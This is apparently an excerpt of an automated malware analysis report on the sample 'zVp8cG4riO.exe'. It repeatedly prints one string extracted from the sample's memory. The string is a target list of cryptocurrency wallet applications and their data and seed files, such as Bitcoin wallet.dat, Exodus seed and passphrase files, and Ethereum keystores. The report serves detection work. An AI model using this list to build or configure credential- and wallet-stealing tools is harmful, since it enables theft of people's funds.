Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 